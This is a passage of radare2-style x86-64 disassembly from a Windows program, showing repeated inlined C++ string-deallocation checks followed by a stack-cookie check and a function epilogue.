mov rcx, qword [rbp + 0x4d8]
mov rax, rcx
cmp rdx, rbx
jb 0x1401516c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401516c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x4e8], xmm6
mov byte [rbp + 0x4d8], 0
mov rdx, qword [rbp + 0x510]
cmp rdx, 0xf
jbe 0x140151716
inc rdx
mov rcx, qword [rbp + 0x4f8]
mov rax, rcx
cmp rdx, rbx
jb 0x140151711
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140151711
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x508], xmm6
mov byte [rbp + 0x4f8], 0
mov rdx, qword [rbp + 0x5b0]
cmp rdx, 0xf
jbe 0x140151765
inc rdx
mov rcx, qword [rbp + 0x598]
mov rax, rcx
cmp rdx, rbx
jb 0x140151760
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140151760
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x5a8], xmm6
mov byte [rbp + 0x598], 0
mov rdx, qword [rbp + 0x530]
cmp rdx, 0xf
jbe 0x1401517b4
inc rdx
mov rcx, qword [rbp + 0x518]
mov rax, rcx
cmp rdx, rbx
jb 0x1401517af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401517af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x528], xmm6
mov byte [rbp + 0x518], 0
lea rcx, [rbp + 0x558]
call fcn.140051c9c
nop
mov rcx, qword [rsp + 0x58]
call fcn.140051c9c
mov rcx, qword [rbp + 0x6d0]
xor rcx, rsp
call fcn.140158250
lea r11, [rsp + 0x7f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret